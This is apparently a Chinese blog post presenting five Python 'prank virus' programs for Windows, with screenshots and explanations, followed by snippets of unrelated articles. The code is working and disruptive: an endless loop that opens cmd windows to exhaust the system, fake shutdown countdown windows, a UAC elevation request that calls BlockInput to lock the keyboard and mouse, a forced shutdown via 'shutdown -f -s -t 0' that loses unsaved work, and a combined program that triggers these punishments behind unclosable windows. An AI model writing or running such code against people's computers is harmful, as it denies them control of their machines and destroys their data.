当前位置: 首页 > news >正文

Python-简单病毒程序合集(一)

前言:简单又有趣的Python恶搞代码,往往能给我们枯燥无味的生活带来一点乐趣,激发我们对编程的最原始的热爱。那么话不多说,我们直接开始今天的编程之路。

编程思路:本次我们将会用到os,paltform,threading,ctypes,sys,wmi等库

一:无限弹窗

import oswhile True:os.system('start cmd')

程序解释:这段代码将执行os库无限打开"cmd"窗口的命令,导致电脑CPU负载过大,电脑风扇直接起飞,系统出现严重卡顿。

运行效果:

fde9565cba41442799cf283caa2ed4b4.jpg

 

 

二:伪关机倒计时

import tkinter
import os
import threading
import time
import random
import platforms=['red','orange','yellow','green','blue','teal','purple','peru','gold','violet','salmon','navy','tan','maroon','azure']begin=12
def count_down():seconds=[]for i in range(begin,0,-1):seconds.append(i)return secondsdef windows():while len(count_down())>0:window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160,600))number=random.randint(0,14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(),count_down()[0])*1,font=('楷体',30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin>0:mark=threading.Thread(target=windows)mark.start()time.sleep(1)begin-=1

程序解释:程序运行后将会出现12->0的倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机)

运行效果:

73d5b3ced686432ca8a574e2dedc4cce.jpg

 

三:伪关机倒计时(进阶版)

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platformdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后将会让用户选择是否允许系统修改用户设备,如果用户点击“是”,则程序会像上面代码一样:出现12→0倒计时弹窗,且弹窗颜色会随机在15种颜色内变化。弹窗中央会提示系统将在X秒后将关机(但其实并不会真的关机),最重要的是,系统还会禁止用户的一切物理操作(包括内,外接鼠标和键盘,但不包括触摸板),即鼠标键盘失效;如果用户点击“否”,则程序自动跳过。

运行效果:

fb7dc71f28994dc3bdcfc5243a0be145.jpg

 3ed7cc9b6db543088e34f6f675c5a926.png

 

四:强制关机时钟炸弹

import sys
import ctypes
import tkinter
import os
import threading
import time
import random
import platformdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = tkinter.Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)tkinter.Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)os.system('shutdown -f -s -t 0')else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,就像“ 三:伪关机倒计时(进阶版) ”一样,但是这次倒计时结束后程序会真的执行关机执令(而且是强制关机),这意味着用户的临时文件和临时数据都会丢失

运行效果:

8b2c58131de04ab28ed3291f0d271f24.jpg

997b4bce31f84694b5c1ee5e26ce9891.png

987db65d67a04b408ecfac92a5e5c55c.jpg

 

五:验证入口枷锁(Boss)

from tkinter import *
from tkinter import ttk
import platform
import os
import time
import wmi
import random
import sys
import ctypes
import threadingdef is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falseif is_admin():# 验证失败处罚模块def punish_os():while True:os.system('start cmd')def punish_time():user32 = ctypes.WinDLL('user32.dll')user32.BlockInput(True)begin = 12s = ['red', 'orange', 'yellow', 'green', 'blue','teal', 'purple', 'peru', 'gold', 'violet','salmon', 'navy', 'tan', 'maroon', 'azure']def count_down():seconds = []for i in range(begin, 0, -1):seconds.append(i)return secondsdef windows():window = Tk()window.title('{} {} {} {}警告!!!'.format(os.name,platform.machine(),platform.node(),platform.version()))window.geometry("{}x{}".format(1160, 600))number = random.randint(0, 14)Label(window,text='{}系统将在{}秒后自动关机'.format(platform.system(), count_down()[0]) * 1,font=('楷体', 30),bg='{}'.format(s[number]),width=1160,height=600).pack()window.mainloop()count_down().remove(count_down()[0])while begin > 0:mark = threading.Thread(target=windows)mark.start()time.sleep(1)begin -= 1time.sleep(0)user32.BlockInput(False)os.system('shutdown -f -s -t 0')# 入口访问信息校对模块def proofread():s = []x = os.environ.get('USERNAME')y = platform.machine()s.append(x)w = wmi.WMI()for CS in w.Win32_ComputerSystem():s.append(CS.Manufacturer)s.append(y)return s# 验证入口模块w = Tk()screen_width = w.winfo_screenwidth()screen_height = w.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)w.geometry('{}x{}+{}+{}'.format(width, height,x, y))w.resizable(False, False)w.protocol("WM_DELETE_WINDOW", lambda: None)w.title('系统类型:{} 主机名:{} 系统版本号:{} 计算机类型:{}'.format(platform.system(), platform.node(),platform.version(), platform.machine()))style = ttk.Style()style.configure('TButton', font=28, relief='sunken', fg='gold', bg='blue')def close_root():w.destroy()Label(w, text='你已授权本程序以管理员权限',font=60, bg='white', ).pack(pady=20, fill='x')button1 = Button(text="用户身份验证入口按钮",command=close_root, cursor='hand2').pack(pady=96, padx=80, side='left')button2 = Button(text="默认身份验证失败按钮",command=punish_os, cursor='hand2').pack(pady=98, padx=80, side='left')w.configure(bg='blue')w.iconbitmap('info')w.mainloop()# 加载模块win = Tk()screen_width = win.winfo_screenwidth()screen_height = win.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)win.geometry('{}x{}+{}+{}'.format(width, height,x, y))win.title('正在进入用户验证界面,请耐心等待!')win.protocol("WM_DELETE_WINDOW", lambda: None)win.resizable(False,False)win.iconbitmap('warning')percent = StringVar()percent_label = Label(win, textvariable=percent, bg='white', font=('Arial', 20))percent_label.pack(fill='x', pady=40)progress = ttk.Progressbar(win, mode='determinate', orient='horizontal', length=370)progress.pack(pady=40)def start():progress.start()def stop():progress.stop()button3 = Button(win, text='Start(继续)',cursor='hand2', command=start).pack(side='left', padx=116)button4 = Button(win, text='Stop(暂停)',cursor='hand2', command=stop).pack(side='left', padx=110)def do_work():total = 48for i in range(total):progress.step(100 / total)percent.set('{:.0f}%'.format(progress['value']))win.update_idletasks()time.sleep(0.5)def close_win():win.destroy()do_work()close_win()win.mainloop()# 验证主体模块win = Tk()screen_width = win.winfo_screenwidth()screen_height = win.winfo_screenheight()width = 600height = 350x = int((screen_width - width) / 2)y = int((screen_height - height) / 2)win.geometry('{}x{}+{}+{}'.format(width, height,x, y))win.title('你有10分钟的时间输入相关验证信息,完成后先点击"核对完成"再点击"确认提交"!!!')win.iconbitmap('error')win.configure(bg='violet', cursor='hand2')win.resizable(False, False)def close_win():win.destroy()var_1 = StringVar()var_2 = StringVar()var_3 = StringVar()# 创建第一个标签和Entrylabel1 = Label(win, text="本机用户名")label1.pack(padx=80, pady=5)entry1 = Entry(win, textvariable=var_1)entry1.pack(padx=80, pady=5)# 创建第一个清除按钮def clear_entry1():entry1.delete(0, END)clear_button1 = Button(win, text="清除键1", command=clear_entry1)clear_button1.pack(padx=80, pady=10)# 创建第二个标签和Entrylabel2 = Label(win, text="本机生产商")label2.pack(padx=80, pady=5)entry2 = Entry(win, textvariable=var_2)entry2.pack(padx=80, pady=5)# 创建第二个清除按钮def clear_entry2():entry2.delete(0, END)clear_button2 = Button(win, text="清除键2", command=clear_entry2)clear_button2.pack(padx=80, pady=10)# 创建第三个标签和Entrylabel3 = Label(win, text="计算机类型")label3.pack(padx=80, pady=0)entry3 = Entry(win, textvariable=var_3)entry3.pack(padx=80, pady=0)# 创建第三个清除按钮def clear_entry3():entry3.delete(0, END)clear_button3 = Button(win, text="清除键3", command=clear_entry3)clear_button3.pack(padx=80, pady=10)def get_info():x = var_1.get()y = var_2.get()z = var_3.get()s = [x, y, z]return sstart_time = time.time()Button(win, text='核对完成', command=get_info).pack(padx=120, pady=0, side='left')Button(win, text='确认提交', command=close_win).pack(padx=120, pady=0, side='left')win.mainloop()end_time = time.time()if get_info()[0:3] == proofread() and end_time - start_time <= 600:passelse:punish_time()else:ctypes.windll.shell32.ShellExecuteW(None,"runas", sys.executable, __file__, None, 1)

程序解释:程序运行之后,首先会同上面一样,让用户选择是否允许系统修改用户设备,如果用户点击“是”,那么程序会先弹出来一个界面:让用户选择“用户验证入口”,还是“默认验证失败”。如果用户点击“默认验证失败按钮”,那么系统会执行惩罚:无限弹窗(同一);如果用户点击“用户验证入口按钮”,该窗口关闭,新窗口打开。程序进入加载验证模块阶段,界面上会显示加载进度,用户可选择“Stop(暂停)”或“Start(继续)”来控制进度条进度,进度条满100%后,该窗口关闭,新窗口打开。你以为这就完了,其实这两个窗口是无法关闭的,用户必须作出选择。进入第三个窗口,程序会让用户按照窗口标题提示填写相关信息(只给600秒时间),填写完毕后,程序计算所用时间并校对信息,两者都符合规定则程序跳过,否则程序执行惩罚:“ 四:强制关机时钟炸弹”。

运行效果:

8647b13fc6ce4ba99774085f05aaf541.jpg

340baf8ef75e404fafa8947f46e13d29.png

e81d44a35fd34d6f9cf8f276a6011ae5.png

2ed0a4fffe4f45a7a22fe03984a53a71.png

验证通过(如下所示):

ff7b14e4d5d0449bb08a0ff70598d236.png

验证失败(如下所示):

aefc10e5b9cb478e942271189b62047c.png

a996f634a5404effaa6f8d64b94331db.jpg

OK!今天的分享到此结束啦!

下期我会优化本章代码,并带来新程序哦。

期待你的教流指教,我是闪云-微星,我们下期不见不散!

 

 

 

相关文章:

Python-简单病毒程序合集(一)

前言&#xff1a;简单又有趣的Python恶搞代码&#xff0c;往往能给我们枯燥无味的生活带来一点乐趣&#xff0c;激发我们对编程的最原始的热爱。那么话不多说&#xff0c;我们直接开始今天的编程之路。 编程思路&#xff1a;本次我们将会用到os,paltform,threading,ctypes,sys,…...

[STM32]从零开始的STM32 HAL库环境搭建

一、前言 之前在搭建STM32的标准库环境时就告诉过大家&#xff0c;开发STM32的方式主要有三种。一种是最原始但是效率最高的寄存器开发&#xff0c;另一种是效率仅次于寄存器难度相对较低的标准库开发&#xff0c;最后一种是最为简单但是程序效率最低的HAL库开发。如果对于初学…...

Docker部署Kafka SASL_SSL认证,并集成到Spring Boot

1&#xff0c;创建证书和密钥 需要openssl环境&#xff0c;如果是Window下&#xff0c;下载openssl Win32/Win64 OpenSSL Installer for Windows - Shining Light Productions 还需要keytool环境&#xff0c;此环境是在jdk环境下 本案例所使用的账号密码均为&#xff1a; ka…...

Pr:音频过渡

Adobe Premiere Pro 自带一组共三个音频过渡 Audio Transitions效果。 对音频剪辑之间应用交叉淡化 Crossfade过渡&#xff0c;操作方式类似于应用视频过渡效果。 对于交叉淡化&#xff0c;要保证前剪辑的出点之后及后剪辑的入点之前有足够的预留内容&#xff08;也称“手柄”&…...

HarmonyOs鸿蒙开发实战(17)=>沉浸式效果第二种方案一组件安全区方案

1.沉浸式效果的目的 开发应用沉浸式效果主要指通过调整状态栏、应用界面和导航条的显示效果来减少状态栏导航条等系统界面的突兀感&#xff0c;从而使用户获得最佳的UI体验。 2.组件安全区方案介绍 应用在默认情况下窗口背景绘制范围是全屏&#xff0c;但UI元素被限制在安全区内…...

从 const 到 mutable:C++ 中的优雅妥协与设计智慧

在C编程中&#xff0c;const 关键字被广泛应用于确保数据的不变性&#xff0c;它提供了一种强大的机制来防止意外修改&#xff0c;从而增强了代码的可靠性和可维护性。然而&#xff0c;在某些特定场景下&#xff0c;完全的不变性可能会限制设计的灵活性&#xff0c;这时 mutabl…...

CC工具箱使用指南:【CAD导出界址点Excel】

一、简介 群友定制工具。 面图层导出界址点Excel表之前已经做过好几个&#xff0c;这个工具则是将CAD导出Excel。 CAD数据如下&#xff1a; 工具将如上截图中的边界线导出界址点Excel&#xff0c;并记录下面内的文字。 二、工具参数介绍 点击【定制工具】组里的【CAD导出界…...

制作图片马常用的五种方法总结

目录 1. 以文本方式2. Windows的cmd方式3. PhotoShop方式4. 16进制5. Linux的cat方式 图片马:就是在图片中隐藏一句话木马。利用.htaccess等解析图片为PHP或者asp文件。达到执行图片内代码目的。 1. 以文本方式 用文本方式&#xff08;这里用notepad。如果用记事本的方式打开…...

深入解析MySQL中的事务处理

一、引言 事务是数据库管理系统执行过程中的一个逻辑单位&#xff0c;它由一系列操作组成&#xff0c;这些操作要么全部执行&#xff0c;要么全部不执行。事务在保证数据的一致性、隔离性、持久性方面发挥着重要作用。MySQL作为一个广泛使用的数据库管理系统&#xff0c;对事务…...

TCP Analysis Flags 之 TCP Dup ACK

前言 默认情况下&#xff0c;Wireshark 的 TCP 解析器会跟踪每个 TCP 会话的状态&#xff0c;并在检测到问题或潜在问题时提供额外的信息。在第一次打开捕获文件时&#xff0c;会对每个 TCP 数据包进行一次分析&#xff0c;数据包按照它们在数据包列表中出现的顺序进行处理。可…...

r-and-r——提高长文本质量保证任务的准确性重新提示和上下文搜索的新方法可减轻大规模语言模型中的迷失在中间现象

概述 随着大规模语言模型的兴起&#xff0c;自然语言处理领域取得了重大发展。这些创新的模型允许用户通过输入简单的 "提示 "文本来执行各种任务。然而&#xff0c;众所周知&#xff0c;在问题解答&#xff08;QA&#xff09;任务中&#xff0c;用户在处理长文本时…...

光伏电站的方案PPT总结

现在的市面上每做一个项目&#xff0c;做个项目方案是必不可少的了&#xff0c;光伏电站的项目亦是如此&#xff0c;做一个既美观又有说服力的项目PPT方案就尤为重要&#xff0c;项目PPT方案的全面性&#xff0c;美观度更征服业主&#xff0c;拿下项目&#xff0c;下面我从鹧鸪…...

前端pdf预览方案

前端pdf预览方案 pdf预览一般不需要前端生成pdf文件&#xff0c;pdf文件一般是通过接口&#xff0c;获取pdf文件【responseType:‘blob’,】或二进制文件流【responseType: ‘arraybuffer’,】或者已有的pdf文件。 前端PDF预览通常是通过读取现有的PDF文件&#xff0c;并使用…...

java 深拷贝 浅拷贝 详解

在 Java 中&#xff0c;深拷贝和浅拷贝是对象拷贝&#xff08;复制&#xff09;时的两个重要概念&#xff0c;它们决定了拷贝后的对象与原对象之间的关联性。以下是深拷贝和浅拷贝的详解&#xff0c;包括定义、实现方式及其区别。 1. 概念解释 1.1 浅拷贝&#xff08;Shallow …...

针对git、giteeVSCode连接的使用 || Live Share插件使用

1.下载git 链接 打开终端&#xff0c;桌面鼠标右键 2.配置密钥 登录gitee。 设置密钥 查看官方文档 跟着教程 复制最后的输出进行密钥添加 验证是否添加成功 3.创建&连接远程仓库 创建仓库 git终端进行配置 远程仓库克隆到本地 桌面终端clone,克隆他人|自己的仓库到本地…...

如何解决Ubuntu 20.04中Vim编辑器在按下Ctrl+S时暂停响应的问题

如何解决Ubuntu 20.04中Vim编辑器在按下CtrlS时暂停响应的问题 在Ubuntu 20.04中使用Vim编辑器时&#xff0c;用户可能会遇到按下CtrlS后编辑器似乎“卡死”或无响应的情况。这个问题实际上源于历史悠久的终端行为&#xff0c;而非Vim本身或操作系统的缺陷。以下是详细的分析及…...

mybatisPlus打印sql配置

MyBatis-Plus 提供了方便的配置方式来打印 SQL 查询语句&#xff0c;以便进行调试和性能分析。可以通过配置 log 来输出 SQL 语句以及执行的参数。 方法 1&#xff1a;通过 application.properties 或 application.yml 配置打印 SQL 可以通过配置 application.properties 或 a…...

Redis 内存管理

参考&#xff1a;面试官&#xff1a;为什么 Redis 不立刻删除已经过期的数据&#xff1f; 目录 1.Redis 给缓存数据设置过期时间有什么用&#xff1f; 2.Redis 是如何判断数据是否过期的呢&#xff1f; 3.Redis 过期 key 删除策略了解么&#xff1f; 4.大量 key 集中过期怎…...

Excel表文本函数、日期和时间函数

一、文本函数 函数说明CHAR返回字符代码所对应的字符CLEAN删除文本中的所有不可打印字符CODE返回文本字符串首字符的代码CONCATENATE合并多个文本字符串EXACT检查两个文本是否完全相同FIND查找文本中某个字符串的位置LEFT从文本的左边开始返回指定数量的字符LEN返回文本字符串…...

从零到一:利用 AI 开发 iOS App 《震感》的编程之旅

在网上看到一篇关于使用AI开发的编程经历&#xff0c;分享给大家 作者是如何在没有 iOS 开发经验的情况下&#xff0c;借助 AI&#xff08;如 Claude 3 模型&#xff09;成功开发并发布《震感》iOS 应用。 正文开始 2022 年 11 月&#xff0c;ChatGPT 诞生并迅速引发全球关注。…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

基于大模型的 UI 自动化系统

基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

Day131 | 灵神 | 回溯算法 | 子集型 子集

Day131 | 灵神 | 回溯算法 | 子集型 子集 78.子集 78. 子集 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 笔者写过很多次这道题了&#xff0c;不想写题解了&#xff0c;大家看灵神讲解吧 回溯算法套路①子集型回溯【基础算法精讲 14】_哔哩哔哩_bilibili 完…...

【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具

第2章 虚拟机性能监控&#xff0c;故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令&#xff1a;jps [options] [hostid] 功能&#xff1a;本地虚拟机进程显示进程ID&#xff08;与ps相同&#xff09;&#xff0c;可同时显示主类&#x…...

重启Eureka集群中的节点,对已经注册的服务有什么影响

先看答案&#xff0c;如果正确地操作&#xff0c;重启Eureka集群中的节点&#xff0c;对已经注册的服务影响非常小&#xff0c;甚至可以做到无感知。 但如果操作不当&#xff0c;可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...

HubSpot推出与ChatGPT的深度集成引发兴奋与担忧

上周三&#xff0c;HubSpot宣布已构建与ChatGPT的深度集成&#xff0c;这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋&#xff0c;但同时也存在一些关于数据安全的担忧。 许多网络声音声称&#xff0c;这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...

DiscuzX3.5发帖json api

参考文章&#xff1a;PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下&#xff0c;适配我自己的需求 有一个站点存在多个采集站&#xff0c;我想通过主站拿标题&#xff0c;采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...

Python训练营-Day26-函数专题1:函数定义与参数

题目1&#xff1a;计算圆的面积 任务&#xff1a; 编写一个名为 calculate_circle_area 的函数&#xff0c;该函数接收圆的半径 radius 作为参数&#xff0c;并返回圆的面积。圆的面积 π * radius (可以使用 math.pi 作为 π 的值)要求&#xff1a;函数接收一个位置参数 radi…...